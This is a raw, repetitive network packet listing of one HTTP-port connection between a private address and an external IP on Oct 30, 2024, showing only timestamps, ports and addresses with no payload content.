Oct 30, 2024 21:55:28.295242071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.295413971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295423985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295429945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295591116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297066927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297077894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297087908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297094107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297103882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297113895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297122955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297132969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297137022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297137022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297142982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297158003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297163010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297168016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297173023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297178030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297183037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297188997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297195911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297199965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297209978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297215939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297272921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297272921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297400951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297508001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297544003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297544956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297554016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297605991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297616005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297621965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297626972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297660112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297660112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297736883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297739983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297749043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297772884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297784090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297792912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297801018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297808886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297817945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297827005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297832966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297844887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297851086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297851086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297904015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.297919989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297930956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297935963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297939062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297945023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297949076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297954082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297957897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297971964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297985077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.297996044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298001051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298007011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298016071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298047066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298047066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298186064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298556089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298566103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298661947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298775911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298899889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298909903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298918962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298933983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298945904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298955917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298955917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298968077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298979044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298983097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.298988104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.298999071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299009085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299015999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299031019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299047947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299057007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299067974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299076080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299087048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299093008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299093008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299093008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299098015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299110889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299124956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299134970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299144030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299149036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299149036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299177885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299177885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299187899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299197912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299210072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299226046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299237967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299243927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299253941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299263954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299272060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299283981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299289942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299289942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299294949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299308062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.299324989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299324989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299679995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.299963951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300010920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300021887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300057888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.300057888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.300061941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300074100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300084114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300092936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300101042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.300115108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.300425053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.300425053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.301115990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329011917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329056978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329068899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329137087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329137087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329255104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329267979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329279900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329389095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329399109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329408884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329421043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329426050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329433918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329461098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329462051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329462051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329478979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329497099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329504967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329508066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329519987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329530954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329544067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329550028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329550028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329678059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329726934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329741001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329751968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329798937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329798937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329802036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329817057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329828024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329852104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.329875946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329986095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.329997063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330009937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330023050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330024004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330049038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330064058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330368996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330380917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330391884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330430031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330441952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330461025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330473900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330482960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330502033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330508947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330519915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.330532074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330532074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330571890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.330571890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.347795963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.347891092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.347899914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.347912073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.347924948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.347937107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.347951889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348004103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.348004103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.348007917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348021984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348047972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348114014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.348114014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.348176956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348223925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348238945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348251104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.348412991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.348412991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.370023012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.370034933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.370047092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.370060921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.370073080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.370321989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.370321989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.371731997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.371743917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.371754885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.372050047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.372050047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.411901951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411926031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411938906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411948919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411959887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411969900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411983013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.411993980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412014961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412014961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412137985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412146091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412158012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412169933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412211895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412220001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412233114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412256002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412269115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412280083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412300110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412326097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412327051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412327051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412327051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412341118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412350893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412362099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412372112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412384987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412395954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412440062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412440062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412440062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412440062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.412446022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412457943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.412514925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413103104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413115978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413125992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413146019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413157940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413168907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413181067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413183928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413193941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413206100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413273096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413273096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413273096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413275003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413348913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413368940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413419008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413419008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413429022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413440943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413454056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413469076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.413492918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.413614035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.414052010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414129019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414139032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414151907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414164066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414175987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414205074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414241076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.414242029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.414242029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.414263010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414277077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414319038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.414335966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414347887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414359093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.414463997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.414463997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415184975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415277004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415353060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415364027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415378094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415391922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415416956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415425062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415426016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415438890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415453911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415465117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415504932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415504932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415504932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415504932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415515900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415538073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415546894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415556908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415580034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415591955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415604115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415616035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415628910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415642023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415642023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415642023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415642023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415740013 CET	49712	80	192.168.2.5	185.215.113.16
